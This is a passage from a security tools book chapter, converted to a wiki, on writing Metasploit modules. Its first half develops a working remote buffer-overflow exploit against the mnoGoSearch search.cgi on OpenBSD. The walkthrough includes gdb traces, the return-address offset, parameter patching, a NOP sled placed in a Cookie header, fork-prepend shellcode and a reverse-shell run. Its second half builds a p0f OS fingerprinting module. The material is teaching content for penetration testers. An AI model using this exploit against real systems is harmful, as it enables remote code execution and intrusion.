After running the module, use ''gdb'' to attach to the ''search.cgi'' process. Set a breakpoint on the vulnerable function and continue to step through it until it processes the <tt>wf</tt> buffer. This happens on the nineteenth call to the function, so examine what happens at that point:

anomaly$ gdb -q search.cgi `ps ax|grep search.cgi|grep -v grep|awk '{ print $1 }'`
...
(gdb) break PrintOption
Breakpoint 1 at 0x5250: file search.c, line 1125.
(gdb) continue
...
(gdb) continue 18
Will ignore next 17 crossings of breakpoint 1. Continuing.

Breakpoint 1, PrintOption (Agent=0x4f000, Target=0x288b5 "", where=100,
option=0x86a80 "<OPTION VALUE=\"222210\" SELECTED=\"$wf\">all sections\n") at search.c:1125
1125 static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){
(gdb) info frame
...
Saved registers:
ebx at 0xdfbf6a08, ebp at 0xdfbf7e50, esi at 0xdfbf6a0c, edi at 0xdfbf6a10, '''eip at 0xdfbf7e54'''
(gdb) x/12x &tag
0xdfbf7e2c: 0x00000000 0x00000000 0x74206f4e 0x656c7469
0xdfbf7e3c: 0x00000000 0x400914d3 0x00000480 0x00028430
0xdfbf7e4c: 0x00086a80 0xdfbf7e90 '''0x0000579f''' 0x0004f000
(gdb) '''x/x 0xdfbf7e54'''

''' 0xdfbf7e54: 0x0000579f'''

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x53e2 in PrintOption (Agent=0x47307047, '''Target=0x70473170 <Error reading address 0x70473170: Invalid argument>''',
where=862996274, option=0x47347047 <Error reading address 0x47347047: Invalid argument>) at search.c:1154
1154 sprintf(UDM_STREND(Target),"<OPTION VALUE=\"%s\"%s>",tag.value,
(gdb) '''x/16x 0xdfbf7e2c #Examining memory of from "tag" through "Target'''"
0xdfbf7e2c: 0x00087930 0x00000000 0x00000000 0x00000000
0xdfbf7e3c: 0x00087940 0x00084000 0x00000000 0x00000000
0xdfbf7e4c: 0x00000000 0x6f47376f '''0x396f4738''' 0x47307047
0xdfbf7e5c: '''0x70473170''' 0x33704732 0x47347047 0x70473570
(gdb) '''x/x 0xdfbf7e5c #The Target Parameter which caused the SIGSEGV'''
0xdfbf7e5c: 0x70473170
(gdb) '''x/x 0xdfbf7e5 4#The new sEIP value'''
0xdfbf7e54: 0x396f4738

Examining memory around the <tt>tag</tt> variable shows the state of the stack frame before the call to <tt>PrintOneTemplate()</tt> and before the overflow gets triggered. The <tt>info frame</tt> command gives user information regarding registers saved on the stack, including the all-important <tt>EIP</tt> register. Examine the memory location to track how this important location is affected. After continuing past the overflow trigger point, the program receives a segmentation fault signal, but not from an invalid EIP, as we might expect. As it turns out, the <tt>sprintf()</tt> function on line 1,154 (which comes after our overflow but before the function return) needs a parameter that points to a mapped memory location to perform its operations. We'll have to keep this in mind as the overflow is examined in more detail.

Even though the segmentation fault was not a direct result of an invalid EIP, the final <tt>x/x</tt> command shows the sEIP has indeed been overwritten. You can use the ''patternOffset.pl'' MSF tool to find the offset to <tt>sEIP</tt>. Using the overwritten sEIP of <tt>0x396f4738</tt>, the tool shows the offset to overwrite sEIP is <tt>5126</tt>.

Using this new information, modify exploit code to get through the function and reach the return. The strategy will be to leave the <tt>Target</tt> parameter unchanged so that the <tt>sprintf( )</tt> succeeds. The request now becomes:

my $request = "GET $uri?q=abc&wf=" .
Pex::Text::PatternCreate(5126) .
"1234". #overwritten sEIP
" HTTP/1.0\r\n\r\n";

With this modification, again run the exploit and trace the process:

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x53e2 in PrintOption (Agent=0x6c613e22, Target=0x6573206c <Error reading address 0x6573206c: Invalid argument>,
where=1869182051, option=0xa736e <Error reading address 0xa736e: Invalid argument>) at search.c:1154
1154 sprintf(UDM_STREND(Target),"<OPTION VALUE=\"%s\"%s>",tag.value,
(gdb) x/x 0xdfbf83c8
'''0xdfbf83c8: 0x34333231 #the sEIP appears to have been overwritten as indented'''
(gdb) x/s Target
0x6573206c: Error accessing memory address 0x6573206c: Invalid argument.
(gdb) '''x/s &Target'''
'''0xdfbf83d0: "l sections\n'''"

It seems the <tt>Target</tt> parameter is being overwritten by a string we didn't specify. Examining the source code reveals that it is being appended in <tt>PrintOneTemplate()</tt>. This presents a common problem in exploit development: how to reach the function return if a call within that function crashes as a result of modifying other local variables during our overflow attempt. The solution to this common problem is memory patching. If <tt>sprintf( )</tt> needs <tt>Target</tt> to be a valid pointer, give it what it needs to work. This same type of problem also occurs on line 1156, as was noticed on the first test run. Because of how the variables and parameters are ordered on the stack, it is necessary to patch all function parameters for a reliable exploit.

Examining the mapped memory, we look for a range that is mapped so that we can point our parameters there. Any arbitrary valid memory location that can be written to without a segmentation fault will do, so choose one, modify the exploit's request, and trace again:

my $ptr = 0xdfbf6f6f;
my $request = "GET $uri?q=abc&wf=" .
Pex::Text::PatternCreate(5126) .
"1234" . #seip
$ptr x2 . #(Agent, Target,
pack("V",0x01020304) . #where,
$ptr . #option)
" HTTP/1.0\r\n\r\n";

Back to the debugger on the server...

Saved registers:
ebx at 0xdfbf70ac, ebp at 0xdfbf84f4, esi at 0xdfbf70b0, edi at 0xdfbf70b4, '''eip at 0xdfbf84f8'''
(gdb) x/16x &tag
0xdfbf84d0: 0x00086930 0x00000000 0x00000000 0x00000000
0xdfbf84e0: 0x00086940 0x00084000 0x00000000 0x00000000
0xdfbf84f0: 0x00000000 0x6f47376f 0x34333231 0xdfbf6f6f
0xdfbf8500: 0xdfbf6f6f 0x01020304 0xdfbf6f6f 0x6c613e22
'''(gdb)''' x/x 0xdfbf84f8
0xdfbf84f8: 0x34333231
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ( )
(gdb) info registers eip
eip 0x34333231 0x34333231

And that is what we're looking for: a segmentation fault on an EIP that was explicitly controlled. At this point the offset to overwrite sEIP has been reached, and some simple memory patching was done to get the function to return to a specified EIP (in this case, the dummy value <tt>1234</tt> was used). The final step to complete our exploit is to place the payload somewhere in memory and to use a memory location in a NOP sled to reach the shellcode. It should be noted that <tt>UdmParseTag( )</tt> modifies the <tt>tmp</tt> buffer after the overflow point, so you shouldn't use that. A better option is to use the environment variables that get passed to the CGI because their location is fairly consistent. By setting the HTTP cookie header to a large value and doing another trace, you can locate the <tt>HTTP_COOKIE</tt> environment variable. On this system <tt>HTTP_COOKIE</tt> started at <tt>0xdfbfa28d</tt>, so we'll use a large NOP sled of about 4KB and find a return address to hit it. Any return value that falls within the range will work. In this case, <tt>0xdfbfadcd</tt> was chosen as the return address to overwrite the sEIP and to take control of process execution flow.

With this new information the <tt>Exploit( )</tt> method should be modified appropriately. Also, add a target to the exploit so that a user can choose the memory patch pointer and return address:

...
'Targets' =>
[
# Name Ret Patch pointer
[ 'OpenBSD/3.1', 0xdfbfadcd, 0xdfbf6f6f ]
],
...
sub Exploit
{
...
my $targetIdx = $self->GetVar('TARGET');
my $payload = $self->GetVar('EncodedPayload');
my $rp = $payload->RawPayload;
my $target = $self->Targets->[$targetIdx];
my $ret = $target->[1];
my $ptr = pack("V",$target->[2]);

$self->PrintLine('[*] Trying exploit target ' . $target->[0]);
...
#we'll change the end of the request to add a cookie header with our shellcode
" HTTP/1.0\r\n" .
"Cookie: " . "\x90"x4000 . $rp . "\r\n\r\n";

Now test it out in ''msfconsole'' using the <tt>bsdx86_reverse</tt> payload:

msf mnogosearch_wf(bsdx86_reverse) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ ------------- ------------------------------
optional SSL 0 Use SSL
required RPORT 80 The target HTTP server port
required URI /cgi-bin/search.cgi The target CGI URI
required RHOST 192.168.2.142 The target HTTP server address

Payload: Name Default Description
-------- ------ ------------- -----------------------------------
required LPORT 9999 Local port to receive connection
required LHOST 192.168.2.132 Local address to receive connection

Target: OpenBSD/3.1

msf mnogosearch_wf(bsdx86_reverse) > exploit
[*] Starting Reverse Handler.
[*] Trying exploit target OpenBSD/3.1
[*] Got connection from 192.168.2.142:17664

msf mnogosearch_wf(bsdx86_reverse) >

It appears to have worked, but the connection dropped as soon as it was received. Sniffing the traffic on the wire reveals that the shellcode was executing and we did in fact get a connection back, but it seems the connection was torn down and the process was killed. To get to the root of this problem, let's think about the way CGIs usually work: the web server spawns the CGI process using <tt>fork( )</tt> , then waits for a timeout, at which point it kills the child process. To avoid this, we spawn a new process and split from the CGI process using the <tt>fork( )</tt> system call before our shellcode executes. Here's one way we can do this for OpenBSD:

xorl %eax,%eax
movb $0x2,%al
pushl %eax
int $0x80
add $0x4,%esp
test %edx,%edx
je $0x0d ;original process ends

You should prepend the opcodes for this assembly routine to the payload by overriding the <tt>PayloadPrepend()</tt> method of the <tt>Msf::Exploit</tt> class. Now, as the module executes, MSF will automatically call this method and prepend the forking code before it encodes the shellcode. To support variable encoders and NOP generators, change the HTTP request to use an MSF-generated full payload that includes a NOP sled, decoding stub, and encoded shellcode. Now, everything should come together, and as you can see in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-6|Figure 5-6]], our work pays off with a fully working remote exploit:

<div id="networkst-CHP-5-FIG-6">
'''Figure 5-6. A sample run of the completed working module'''

[[Image:Network Security Tools_I_5_tt249.png|A sample run of the completed working module]]
</div>

sub PayloadPrepend{
my $self = shift;
return "\x31\xc0\xb0\x02\x50\xcd\x80\x83\xc4\x04\x85\xd2\x74\x0d";
}

Exploit
{
my $payload = $self->GetVar('EncodedPayload');
my $fullpayload = $payload->Payload;
...
#change the end of request to use a full payload now
"Cookie: " . $fullpayload . "\r\n" .
"\r\n\r\n");
}

== Writing an Operating System Fingerprinting Module for MSF ==

Assuming an exploit works, the key factors for successful exploitation are the <tt>PAYLOAD</tt> and <tt>TARGET</tt> settings. If the target host is behind a well-configured firewall, a bind socket payload won't allow you to access the host. Also, if you don't know the remote operating system, using an OS-specific target is useless; a return address for Windows NT typically won't work against a Windows XP machine.

Usually the application level can aid in the targeting process. For instance, if an HTTP request returns <tt>Apache/1.3.22</tt> <tt>(Win32)</tt>, you probably aren't using FreeBSD targets. But what if the service yields no obvious clue regarding its underlying operating system? In this case we would use a technique called ''operating system fingerprinting'' to narrow the scope of possible targets and increase the likelihood of success. This is vital for so-called "one-shot" exploits in which the service crashes or becomes unexploitable after failed attempts.

=== Operating System Fingerprinting and p0f ===

When we talk about operating system fingerprinting we're really talking about identifying a remote operating system based on the characteristics of its TCP/IP network stack. Due to differences in the way developers implement networking stacks, typically, unique identifiers within the packets transmitted by a host will allow for comparison based on known signatures.

Two general techniques are used to profile a networking stack for known signature comparison: active and passive. ''Active fingerprinting'' requires network interaction with the target host by sending out a probe and then looking for packet settings or flags that differ in the response. For example, if I were to send a packet to an open port with the <tt>ACK TCP</tt> flag set, and then I received a response packet from the host with a window size of 4,000, the DF bit set, the <tt>RST</tt> flag set, and the sequence number unsynced with the one sent, I could search through a list of known behaviors from this type of probe and establish that this likely is the Mac OS 8.6 operating system. Of course, this requires that a huge database of known stack signatures be compiled beforehand. Nmap by Fyodor (''http://www.insecure.org/nmap/'') is one of the best active fingerprinting tools in the field; it uses a variety of probes and has a signature database with thousands of entries.

''Passive fingerprinting'' doesn't require special probes. Passive fingerprinting observes normal network traffic, but uses the same difference analysis techniques as active fingerprinting to take a best guess at what the OS is. Passive fingerprinting is useful in situations where stealth is a high priority or where we have access to all network traffic, such as a compromised router, a wireless network, or a hubbed network. ''p0f''by Michal Zalewski (''http://lcamtuf.coredump.cx/p0f.shtml'') is a program that implements passive signature-matching techniques very effectively. ''p0f'' uses 15 different analysis techniques to determine the operating system and other valuable information, such as uptime, network link type, and firewall/NAT presence.

This described functionality fills our need for better targeting and payload settings, so let's write an MSF module for it. One way to do this is to launch ''p0f'' and process its text output; however, this would provide inconsistent results, as the ''p0f'' display format varies based on the command-line options used. Fortunately, ''p0f''provides an interface for querying its connection cache via traditional Unix sockets. This simple interface is outlined in the ''p0f-query.c'' file that comes in the latest version of the ''p0f'' source. The examples in this chapter use ''p0f'' Version 2.0.4.

<div class="warning">
'''Warning'''

The Microsoft family of operating systems does not fully support Unix sockets, so this functionality in ''p0f'' will not work on Windows operating systems.
</div>

=== Setting Up and Modifying p0f ===

When setting up ''p0f'' , you should use options that set up the Unix socket and specific SYN/ACK mode. The <tt>A</tt> option places the program in SYN/ACK mode, the <tt>O</tt> option indicates that the Unix socket interface will be used, and <tt>~/socket</tt> is given as the name of the socket. This mode will fingerprint systems we connect to, as opposed to the default, which fingerprints systems that connect to us. After launching ''p0f'', do a basic HTTP request so that ''p0f'' has some packets to fingerprint:

$p0f -qlAQ ~/socket
192.168.0.100:80 - Linux recent 2.4 (1) (up: 210 hrs) -> 192.168.0.109:9818 (distance 1, link: pppoe (DSL))

Leave that process running in a shell and then, in a separate shell, use the ''p0fq'' example tool to query the socket for the specific connection:

$./p0fq ../sock 192.168.0.100 80 192.168.0.109 9818
Genre : Linux
Details : recent 2.4 (1)
Distance : 1 hops
Link : pppoe (DSL)
Uptime : 210 hrs

This appears to be working, but specifying source and destination ports is too cumbersome. Let's write a small patch to ''p0f'' to make it easier on the user. The following patch is against ''p0f'' Version 2.0.4. You can apply it with the <tt>patch</tt> <tt>-p0</tt> <tt><</tt> <tt>p0f-2.0.4-msf.patch</tt> command:

--- p0f-query.org.c Fri Jan 3 18:19:58 2004
+++ p0f-query.c Fri Jan 3 19:09:46 2004
@@ -122,6 +122,14 @@
send(sock,n,sizeof(struct p0f_response),MSG_NOSIGNAL);
return;

+ }else if((cur->sad == q->src_ad) && (cur->dad == q->dst_ad) &&
+ (q->src_port == NULL) && (q->dst_port == NULL)){
+ struct p0f_response* n = &cur->s;
+ n->magic = QUERY_MAGIC;
+ n->type = RESP_OK;
+ n->id = q->id;
+ send(sock,n,sizeof(struct p0f_response),MSG_NOSIGNAL);
+ return;
}
}

This patch adds a "search mode" that allows us to search the cache by the source and destination IP addresses only (both of the ports will be <tt>NULL</tt>). This selects the first hit in the cache for interaction between the source and destination IP addresses.

=== Writing the p0f_socket Module ===

Now, to write the module itself, first determine what MSF options a user would need to set. The query needs the host to fingerprint and the source IP address that makes the connection—that is, our IP address. For the target IP address, use <tt>RHOST</tt> as a user option. The source IP address can be autodetected via a method from <tt>Pex::Utils</tt>, but we'll leave it as an advanced option named <tt>SourceIP</tt> just in case a user wants to specify it. After ''p0f'' is launched with the -<tt>Q</tt> option, it creates a socket file on the filesystem. The <tt>SOCK</tt> user option allows a user to specify the path to the socket file. A nice feature would be an "active" mode in which the module initiates a remote connection to an open port. To enable this, add an <tt>ACTIVE</tt> Boolean user option that will toggle the functionality, as well as an <tt>RPORT</tt> user option that should be a known open port. Now, if a user chooses passive mode, the module will have to wait for a connection to appear in the cache. In that case we'll assume the connection will appear close to the time the user executes the module, so we'll use an advanced option named <tt>Timeout</tt> with a default value of 30 seconds to wait for the connection to appear in the cache.

Our <tt>Exploit( )</tt> method's logic flow is pretty simple. First, it determines whether a user wants active or passive mode. In active mode it makes a connection, and then it makes a query to the <tt>p0f</tt> socket. If it doesn't get a response, it will wait in the hope that a connection will exist in the cache before the timeout. You can implement this as shown here using the previously discussed user options:

sub Exploit {
my $self = shift;
my $target = $self->GetVar('RHOST');
my $port = $self->GetVar('RPORT');
my $active_mode = $self->GetVar('ACTIVE');
my $timeout = int($self->GetLocal('Timeout'));

After loading some MSF user options the method checks for <tt>Active</tt> mode, which simply initiates a TCP connection so that ''p0f'' can fingerprint the SYN/ACK from the target and add the connection to its cache:

if($active_mode){ # "Active" mode
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target,
'PeerPort' => $port
);

if ($s->IsError){
$self->PrintLine('[*] Error creating TCP socket in active mode: '
. $s->GetError);
return;
}else{
#the connection is made, a cache entry should have been added
goto doQuery;
}
$s->Close( );
}

At this point a connection should exist in the <tt>p0f</tt> cache, so the method tries to query the socket using <tt>Query( )</tt>, and if it encounters errors it waits until the timeout to try again before giving up:

doQuery:
if($self->Query($target) < 0){
$self->PrintLine("[*] Inital p0f query unsuccessful, sleeping ".
$timeout ." seconds");
for(1 .. $timeout){ print "."; sleep(1);}print "\n";
if($self->Query($target) < 0){
$self->PrintLine("[*] All p0f queries unsuccessful.".
"Make sure that:\n".
"-p0f is setup correctly(-Q and -A, binding interface, etc.)\n".
"-if using passive mode(default) it is up to you to get a connection\n".
" entry into the p0f cache, use active mode if you want to make things
easier\n".
"-if using active mode make sure RPORT is set to an open TCP port on the
target\n");
}
}

return;
}

The final piece to complete this module is the <tt>Query()</tt> method. To correctly format the <tt>p0f</tt> query and parse the response, use the format of the structure defined in ''p0f-query.h''. If errors crop up while making and parsing the query, display an appropriate error message and return a negative error code so that <tt>Exploit( )</tt> can act accordingly:

sub Query {
my $self = shift;
my $target = shift;
my $unixsock = $self->GetVar('SOCK');
my $QUERY_MAGIC = 0x0defaced;
my $qid = int rand(0xffffffff);
my $src = inet_aton($target);
my $dst;

After loading up some variables and parameters set up the query and send it to the socket. Note that this code uses the source and destination port values of <tt>0</tt> due to our patch to ''p0f'':

unless($src){
$self->PrintLine("Cannot resolve $target");
return -1;
}
if($self->GetLocal('SourceIP') eq "auto-detect"){
$dst = inet_aton(Pex::Utils::SourceIP( ));
}else{
$dst = inet_aton($self->GetLocal('SourceIP'));
}
my $query = pack("L L", $QUERY_MAGIC, $qid) .
$src . $dst . pack("S", 0)x2;

my $sock = new IO::Socket::UNIX (Peer => $unixsock,
Type => SOCK_STREAM);
unless($sock){
$self->PrintLine("Could not create UNIX socket: $!");
return -2;
}

# Send the request, receive response stucture
print $sock $query;
my $response = <$sock>;
close $sock;

Assuming a response was received from the socket, unpack the response and do some error checking to make sure everything is satisfactory before it is displayed:

# Break out the response vars
my ($magic, $id, $type, $genre,
$detail, $dist, $link, $tos,
$fw, $nat, $real, $score,
$mflags, $uptime) = unpack ("L L C Z20 Z40 c Z30 Z30 C C C s S N", $response);

# Error checking
if($magic != $QUERY_MAGIC){
$self->PrintLine("Bad response magic");
return -3;
}elsif(int($id) != int($qid)){
$self->PrintLine(sprintf("Wrong query id: 0x%08x != 0x%08x", $id, $qid));
return -4;
}elsif($type == 1){
$self->PrintLine("P0f did not honor our query.");
return -5;
}elsif($type == 2){
$self->PrintLine("This connection is not (no longer?) in p0f's cache.");
return -6;
}

# Display result
if( !$genre ){
$self->PrintLine("Genre and details unknown");
}else{
$self->PrintLine("Genre : " . $genre . "\n".
"Details : " . $detail);
$self->PrintLine("Distance : " . $dist) unless ($dist == -1);
}
$self->PrintLine("Link : " . $link . "\n".
"Service : " . $tos . "");
$self->PrintLine("Uptime : " . $uptime . " hrs") unless ($uptime == -1);
$self->PrintLine("The host appears to be behind a NAT") if $nat;
$self->PrintLine("The host appears to be behind a Firewall") if $fw;

return 0;
}

When we are done we'll put the module into the ''~/.msf/exploits/'' directory, populate the <tt>%info</tt> and <tt>%advanced</tt> hashes with some metadata, and launch ''msfconsole'' to test it out. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-7|Figure 5-7]] shows an example of how the <tt>p0f_socket</tt> module works.

<div id="networkst-CHP-5-FIG-7">
'''Figure 5-7. The p0f_socket module in action'''

[[Image:Network Security Tools_I_5_tt260.png|The p0f_socket module in action]]
</div>

Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework - Revision history

Docbook2Wiki: Initial conversion from Docbook

Docbook2Wiki: Initial conversion from Docbook